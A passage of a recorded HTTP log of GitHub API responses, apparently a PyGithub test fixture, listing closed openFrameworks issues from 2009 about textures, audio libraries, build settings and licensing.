ofSetMinMagFilters","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"}],"closed_at":"2009-12-05T19:42:35Z","created_at":"2009-12-04T18:31:17Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":92389,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2009-12-05T13:25:18Z","body":"\r\nwrappers that are ofTexture type independent for glTexCoord: \r\n\r\nhttp://www.opengl.org/sdk/docs/man/xhtml/glTexCoord.xml\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/51","comments":1,"milestone":null,"number":51,"html_url":"https://github.com/openframeworks/openFrameworks/issues/51","assignee":null,"title":"ofTexture -- texPoint / texPercent","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"}],"closed_at":"2009-12-05T13:25:18Z","created_at":"2009-12-04T18:30:46Z","state":"closed","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142897},"id":92387,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=37&state=closed {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4959'), ('content-length', '25398'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"28b7b469c9258bf15e31c49e3f825463"'), ('date', 'Tue, 29 May 2012 18:46:58 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2011-05-21T19:17:44Z","body":"\r\n\r\nfor example, if we have a grayscale image and convert to color or colorAlpha, we need the texture to support additional info internally (ie, be an RGB or RGBA texture), but it's been allocated as grayscale. think this isn't a huge issue -- You don't see this issue until you start altering pixels and not seeing changes within the textured representation (ie, there's alot of steps to see the problem) -- but it's worth looking into.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/50","comments":1,"milestone":null,"number":50,"html_url":"https://github.com/openframeworks/openFrameworks/issues/50","assignee":null,"title":"ofImage::setImageType doesn't alter the internal ofTexture if we need to","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"}],"closed_at":"2009-12-05T20:23:32Z","created_at":"2009-12-04T12:49:40Z","state":"closed","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142897},"id":92253,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2009-12-05T13:52:36Z","body":"// the random () calls are based on misconceptions described here:\r\n// http://www.azillionmonkeys.com/qed/random.html","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/49","comments":1,"milestone":null,"number":49,"html_url":"https://github.com/openframeworks/openFrameworks/issues/49","assignee":null,"title":"ofRandom uses flawed rand()% approach","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"}],"closed_at":"2009-12-05T13:52:36Z","created_at":"2009-11-09T11:32:49Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":80573,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2009-12-05T14:09:50Z","body":"\r\nseems like lines 116, 117 are kind of wrong to me: \r\n\r\nis \r\n\r\nblobs[i].centroid.x = (int) (myMoments->m10 / myMoments->m00);\r\nblobs[i].centroid.y = (int) (myMoments->m01 / myMoments->m00);\r\n\r\nshould be : \r\n\r\nblobs[i].centroid.x = (myMoments->m10 / myMoments->m00);\r\nblobs[i].centroid.y = (myMoments->m01 / myMoments->m00);\r\n\r\n(I am seeing small objects with \"jiggly\" centroids because of this). Feels like it should be up the end used to cast as int as needed, but the centroid is likely a non-integer.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/48","comments":0,"milestone":null,"number":48,"html_url":"https://github.com/openframeworks/openFrameworks/issues/48","assignee":null,"title":"ofxOpenCv - ofxCvContourFinder converts centroid to ints","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"}],"closed_at":"2009-12-05T14:09:50Z","created_at":"2009-11-01T17:40:41Z","state":"closed","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142897},"id":77053,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2009-12-05T17:33:49Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/47","comments":0,"milestone":null,"number":47,"html_url":"https://github.com/openframeworks/openFrameworks/issues/47","assignee":null,"title":"ofBaseHasTexture should have ofSetUseTexture ( for enable / disable texture )","labels":[],"closed_at":"2009-12-05T17:33:49Z","created_at":"2009-11-01T17:40:11Z","state":"closed","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"id":77052,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2009-12-05T13:09:50Z","body":"give the option to clamp the output value of ofMap.\r\nofMap(float in, float inMin, float inMax, float outMin, float outMax, bool clamp = false);","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/46","comments":1,"milestone":null,"number":46,"html_url":"https://github.com/openframeworks/openFrameworks/issues/46","assignee":null,"title":"ofMap - include a clamp = false argument","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"}],"closed_at":"2009-12-05T13:09:50Z","created_at":"2009-10-31T10:35:11Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":76700,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2009-12-07T01:55:14Z","body":"Add another configuration so you can compile an optimized app that isn't universal (twice as quick and half the size). \r\n\r\nSo if you have an intel laptop Release would compile just for Intel and Release Universal would be both intel and ppc.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/45","comments":2,"milestone":null,"number":45,"html_url":"https://github.com/openframeworks/openFrameworks/issues/45","assignee":null,"title":"Xcode - Debug, Release, Release Universal?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"}],"closed_at":"2009-12-07T01:55:14Z","created_at":"2009-10-29T01:11:51Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":75416,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2009-12-05T12:27:35Z","body":"when doing ofPushStyle numCiclePts is being stored in currentStyle but not used to draw circles. also when doing ofPopStyle it should check numCirclePts and call ofSetCicleResolution if it has changed","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/44","comments":1,"milestone":null,"number":44,"html_url":"https://github.com/openframeworks/openFrameworks/issues/44","assignee":null,"title":"numCirclePts is being stored on ofPushStyle but not used","labels":[],"closed_at":"2009-12-05T12:27:35Z","created_at":"2009-10-28T11:23:48Z","state":"closed","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"id":75035,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2009-12-06T19:01:43Z","body":"006 has the asio folder - but it is currently missing from the repo. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/43","comments":2,"milestone":null,"number":43,"html_url":"https://github.com/openframeworks/openFrameworks/issues/43","assignee":null,"title":"asio folder missing from rtAudio - is this intentional?","labels":[],"closed_at":"2009-12-06T19:01:43Z","created_at":"2009-10-26T12:53:34Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":73924,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2009-12-05T19:26:08Z","body":"When playing lots of sounds with FMOD - FMOD_Update() needs to be called every frame. \r\nWe should either do it internally or give people a global function with which to call it - something like: ofSoundPlayerUpdate ?\r\n\r\nNote:\r\nThis problem specifically applies to fmod - so it maybe that we won't need it if we find an fmod replacement. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/42","comments":1,"milestone":null,"number":42,"html_url":"https://github.com/openframeworks/openFrameworks/issues/42","assignee":null,"title":"Add a ofSoundPlayerUpdate call - for keeping fmod on track.","labels":[],"closed_at":"2009-12-05T19:26:08Z","created_at":"2009-10-26T12:37:28Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":73919,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2009-12-06T17:56:48Z","body":"I know - it sucks but I think technically we need to. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/41","comments":8,"milestone":null,"number":41,"html_url":"https://github.com/openframeworks/openFrameworks/issues/41","assignee":null,"title":"Put MIT license in OF headers","labels":[],"closed_at":"2009-12-06T17:56:48Z","created_at":"2009-10-25T09:57:59Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":73527,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2009-12-05T14:10:41Z","body":"The authors of CreEPS kindly agreed to provide us with a LGPL version of their library. Update the latest OF with this version.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/40","comments":1,"milestone":null,"number":40,"html_url":"https://github.com/openframeworks/openFrameworks/issues/40","assignee":null,"title":"ofxVectorGraphics / CreEPS - update to LGPL/MIT","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"}],"closed_at":"2009-12-05T14:10:41Z","created_at":"2009-10-25T09:56:14Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":73525,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2009-10-24T08:30:19Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/39","comments":1,"milestone":null,"number":39,"html_url":"https://github.com/openframeworks/openFrameworks/issues/39","assignee":null,"title":"Examples have testApp constructor and stdio","labels":[],"closed_at":"2009-10-24T08:30:19Z","created_at":"2009-10-24T08:13:55Z","state":"closed","user":{"url":"https://api.github.com/users/openframeworks","gravatar_id":"a858611b044a8302ab14cfe752e17369","login":"openframeworks","avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142866},"id":73228,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2009-12-06T18:56:24Z","body":"rtAudio 3 is outdated, in the past rtAudio 4 gave some problems under linux but now it works ok.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/38","comments":1,"milestone":null,"number":38,"html_url":"https://github.com/openframeworks/openFrameworks/issues/38","assignee":null,"title":"change ofSoundStream to rtAudio 4","labels":[],"closed_at":"2009-12-06T18:56:24Z","created_at":"2009-10-23T17:15:52Z","state":"closed","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"id":72941,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2009-12-06T13:30:36Z","body":"http://www.openframeworks.cc/forum/viewtopic.php?f=7&t=2577","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/37","comments":1,"milestone":null,"number":37,"html_url":"https://github.com/openframeworks/openFrameworks/issues/37","assignee":null,"title":"Loading a corrupted image in linux makes the app crash","labels":[],"closed_at":"2009-12-06T13:30:36Z","created_at":"2009-10-22T09:24:35Z","state":"closed","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"id":72331,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2009-12-06T23:50:04Z","body":"* CB PC needs -lIphlpapi in linker settings","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/36","comments":2,"milestone":null,"number":36,"html_url":"https://github.com/openframeworks/openFrameworks/issues/36","assignee":null,"title":"Poco linker flag for CB","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/codeblocks+","name":"codeblocks ","color":"cb6efa"}],"closed_at":"2009-12-06T23:50:04Z","created_at":"2009-10-22T00:08:08Z","state":"closed","user":{"url":"https://api.github.com/users/openframeworks","gravatar_id":"a858611b044a8302ab14cfe752e17369","login":"openframeworks","avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142866},"id":72161,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-02T15:08:50Z","body":" fedora installs alsa in /lib instead of /usr/lib http://www.openframeworks.cc/forum/viewtopic.php?f=5&t=1870&p=10035#p10035\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/35","comments":3,"milestone":null,"number":35,"html_url":"https://github.com/openframeworks/openFrameworks/issues/35","assignee":null,"title":"Linux Scripts - Fedora issue","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":"2011-12-02T15:08:50Z","created_at":"2009-10-22T00:07:15Z","state":"closed","user":{"url":"https://api.github.com/users/openframeworks","gravatar_id":"a858611b044a8302ab14cfe752e17369","login":"openframeworks","avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142866},"id":72160,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2009-12-05T20:11:29Z","body":"* some examples in windows cb doesn't have resized updated to windowResized, complete list in: http://www.openframeworks.cc/forum/viewtopic.php?f=7&t=1851","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/34","comments":0,"milestone":null,"number":34,"html_url":"https://github.com/openframeworks/openFrameworks/issues/34","assignee":null,"title":"Examples - Windows - windowResized missing","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"}],"closed_at":"2009-12-05T20:11:29Z","created_at":"2009-10-22T00:06:37Z","state":"closed","user":{"url":"https://api.github.com/users/openframeworks","gravatar_id":"a858611b044a8302ab14cfe752e17369","login":"openframeworks","avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142866},"id":72159,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2009-12-05T20:11:30Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/33","comments":0,"milestone":null,"number":33,"html_url":"https://github.com/openframeworks/openFrameworks/issues/33","assignee":null,"title":"advancedEventsExample doesn't have all the files in src in linux & same with CB win32","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"}],"closed_at":"2009-12-05T20:11:30Z","created_at":"2009-10-22T00:06:05Z","state":"closed","user":{"url":"https://api.github.com/users/openframeworks","gravatar_id":"a858611b044a8302ab14cfe752e17369","login":"openframeworks","avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142866},"id":72158,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2009-12-05T20:11:29Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/32","comments":0,"milestone":null,"number":32,"html_url":"https://github.com/openframeworks/openFrameworks/issues/32","assignee":null,"title":"osc example is not updated to 003 in mac ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"}],"closed_at":"2009-12-05T20:11:29Z","created_at":"2009-10-22T00:05:54Z","state":"closed","user":{"url":"https://api.github.com/users/openframeworks","gravatar_id":"a858611b044a8302ab14cfe752e17369","login":"openframeworks","avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142866},"id":72157,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2009-12-05T20:11:30Z","body":"* some examples in windows seems to not have all the files included, ie, firmata files in the alladdonsexample","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/31","comments":0,"milestone":null,"number":31,"html_url":"https://github.com/openframeworks/openFrameworks/issues/31","assignee":null,"title":"Examples - Windows - Files missing","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"}],"closed_at":"2009-12-05T20:11:30Z","created_at":"2009-10-22T00:05:43Z","state":"closed","user":{"url":"https://api.github.com/users/openframeworks","gravatar_id":"a858611b044a8302ab14cfe752e17369","login":"openframeworks","avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142866},"id":72156,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2009-12-05T21:00:47Z","body":"* serial fix:\r\n** http://www.openframeworks.cc/forum/viewtopic.php?t=773\r\n** not completely sure but think this doesn't worked in linux\r\n** serial setup by device number doesn't work on linux http://www.openframeworks.cc/forum/viewtopic.php?f=7&t=2156&p=11654#p11654","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/30","comments":1,"milestone":null,"number":30,"html_url":"https://github.com/openframeworks/openFrameworks/issues/30","assignee":null,"title":"Linux serial issues with device number:","labels":[],"closed_at":"2009-12-05T21:00:47Z","created_at":"2009-10-22T00:05:14Z","state":"closed","user":{"url":"https://api.github.com/users/openframeworks","gravatar_id":"a858611b044a8302ab14cfe752e17369","login":"openframeworks","avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142866},"id":72155,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2009-12-06T23:50:03Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/29","comments":1,"milestone":null,"number":29,"html_url":"https://github.com/openframeworks/openFrameworks/issues/29","assignee":null,"title":"Poco linking order on win32 - See Comments for correct order","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/codeblocks+","name":"codeblocks ","color":"cb6efa"}],"closed_at":"2009-12-06T23:50:03Z","created_at":"2009-10-22T00:04:46Z","state":"closed","user":{"url":"https://api.github.com/users/openframeworks","gravatar_id":"a858611b044a8302ab14cfe752e17369","login":"openframeworks","avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142866},"id":72154,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2009-12-04T18:42:51Z","body":"** don't wait for paused state on loadMovie? (zach, what does this mean?) arturo, it seems on loading there's a tiny freeze while the file is loaded by not waiting and treating the file as a stream it should be possible to avoid it: http://www.openframeworks.cc/forum/viewtopic.php?f=8&t=1791","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/28","comments":0,"milestone":null,"number":28,"html_url":"https://github.com/openframeworks/openFrameworks/issues/28","assignee":null,"title":"ofVideoPlayer - pause delay","labels":[],"closed_at":"2009-12-04T18:42:51Z","created_at":"2009-10-22T00:03:56Z","state":"closed","user":{"url":"https://api.github.com/users/openframeworks","gravatar_id":"a858611b044a8302ab14cfe752e17369","login":"openframeworks","avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142866},"id":72153,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2009-12-06T20:11:50Z","body":"* [NEEDS REFIX] fps is not calculated correctly resulting in NAN on windows -see last fix here: http://www.openframeworks.cc/forum/viewtopic.php?f=7&t=1892&p=11166#p11166\r\n\r\nAlso for some reason on windows the app can jump up to 100fps when doing heavy texture loading. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/27","comments":2,"milestone":null,"number":27,"html_url":"https://github.com/openframeworks/openFrameworks/issues/27","assignee":null,"title":"Windows FPS issues","labels":[],"closed_at":"2009-12-06T20:11:50Z","created_at":"2009-10-22T00:03:19Z","state":"closed","user":{"url":"https://api.github.com/users/openframeworks","gravatar_id":"a858611b044a8302ab14cfe752e17369","login":"openframeworks","avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142866},"id":72152,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2009-12-05T12:54:55Z","body":"Maybe an average one too?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/26","comments":1,"milestone":null,"number":26,"html_url":"https://github.com/openframeworks/openFrameworks/issues/26","assignee":null,"title":"ofGetLastFrameTime - to get the elapsed time of the last frame. ","labels":[],"closed_at":"2009-12-05T12:54:55Z","created_at":"2009-10-22T00:02:30Z","state":"closed","user":{"url":"https://api.github.com/users/openframeworks","gravatar_id":"a858611b044a8302ab14cfe752e17369","login":"openframeworks","avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142866},"id":72150,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=38&state=closed {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4958'), ('content-length', '22487'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="first", ; rel="prev"'), ('etag', '"98deeee1d4ab1f6a96a5336774ac0087"'), ('date', 'Tue, 29 May 2012 18:46:59 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"milestone":null,"state":"closed","user":{"gravatar_id":"a858611b044a8302ab14cfe752e17369","url":"https://api.github.com/users/openframeworks","login":"openframeworks","id":142866,"avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Add simplex/perlin noise to core","html_url":"https://github.com/openframeworks/openFrameworks/issues/25","comments":3,"assignee":null,"updated_at":"2009-12-06T11:51:10Z","body":"","number":25,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/25","labels":[],"id":72149,"closed_at":"2009-12-06T11:51:10Z","created_at":"2009-10-22T00:01:49Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"a858611b044a8302ab14cfe752e17369","url":"https://api.github.com/users/openframeworks","login":"openframeworks","id":142866,"avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Dean's ofPoint cleanup / comments","html_url":"https://github.com/openframeworks/openFrameworks/issues/24","comments":1,"assignee":null,"updated_at":"2009-12-05T21:36:47Z","body":"","number":24,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/24","labels":[],"id":72148,"closed_at":"2009-12-05T21:36:47Z","created_at":"2009-10-22T00:01:33Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"a858611b044a8302ab14cfe752e17369","url":"https://api.github.com/users/openframeworks","login":"openframeworks","id":142866,"avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Deans abgr to rfb blitter","html_url":"https://github.com/openframeworks/openFrameworks/issues/23","comments":2,"assignee":null,"updated_at":"2009-12-05T19:05:32Z","body":"","number":23,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/23","labels":[],"id":72147,"closed_at":"2009-12-05T19:05:32Z","created_at":"2009-10-22T00:01:22Z"},{"milestone":null,"state":"closed","user":{"gravatar_id":"a858611b044a8302ab14cfe752e17369","url":"https://api.github.com/users/openframeworks","login":"openframeworks","id":142866,"avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofTexture copy constructor issue","html_url":"https://github.com/openframeworks/openFrameworks/issues/22","comments":0,"assignee":null,"updated_at":"2009-12-05T19:50:43Z","body":"problem with ofTexture copy constructor: 